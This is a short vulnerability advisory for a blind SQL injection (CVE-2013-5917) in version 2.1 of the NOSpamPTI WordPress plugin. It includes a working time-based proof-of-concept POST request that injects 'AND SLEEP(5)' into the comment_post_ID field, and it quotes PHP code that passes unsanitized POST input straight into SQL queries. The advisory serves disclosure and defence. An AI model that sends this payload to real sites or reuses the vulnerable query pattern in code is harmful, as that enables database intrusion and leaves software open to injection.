Wordpress NOSpamPTI Plugin - Blind SQL Injection

[ NOSpamPTI Wordpress plugin Blind SQL Injection ]
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[ Vendor product description ]
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NOSpamPTI eliminates the spam in your comment box so strong and free,
developed from the idea of Nando Vieira <a href="http://bit.ly/d38gB8"
rel="nofollow">http://bit.ly/d38gB8</a>, but some themes do not support
changes to the functions.php to this we alter this function and
available as a plugin. Make good use of this plugin and forget all the Spam.
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[ Bug Description ]
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NOSpamPTI contains a flaw that may allow an attacker to carry out a
Blind SQL injection attack. The issue is due to the wp-comments-post.php
script not properly sanitizing the comment_post_ID in POST data. This
may allow an attacker to inject or manipulate SQL queries in the
back-end database, allowing for the manipulation or disclosure of
arbitrary data.
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[ History ]
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Advisory sent to vendor on 09/09/2013
Vendor reply 09/20/2013. According the vendor, the plugin was deprecated.
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[ Impact ]
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HIGH
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[ Afected Version ]
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2.1
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[ CVE Reference]
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CVE-2013-5917
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[ POC ]
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Payload:
POST /wordpress/wp-comments-post.php
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author=1&challenge=1&challenge_hash=e4da3b7fbbce2345d7772b0674a318d5&comment=1&comment_parent=0&comment_post_ID=1
AND SLEEP(5)&[email protected]&submit=Post Comment&url=1
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[ Vulnerable code ]
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$post_id = $_POST['comment_post_ID'];
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load_plugin_textdomain('nospampti',
WP_PLUGIN_URL.'/nospampti/languages/', 'nospampti/languages/');
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****if ($hash != $challenge) {
********$wpdb->query("DELETE FROM {$wpdb->comments} WHERE comment_ID =
{$comment_id}");
********$count = $wpdb->get_var("select count(*) from $wpdb->comments
where comment_post_id = {$post_id} and comment_approved = '1'");
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[ Reference ]
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[1] No SpamPTI SVN repository -
http://plugins.svn.wordpress.org/nospampti/trunk/nospampti.php
[2] Owasp - https://owasp.org/index.php/SQL_Injection
[3] Common Vulnerabilities and Exposures (CVE) - http://cve.mitre.org/
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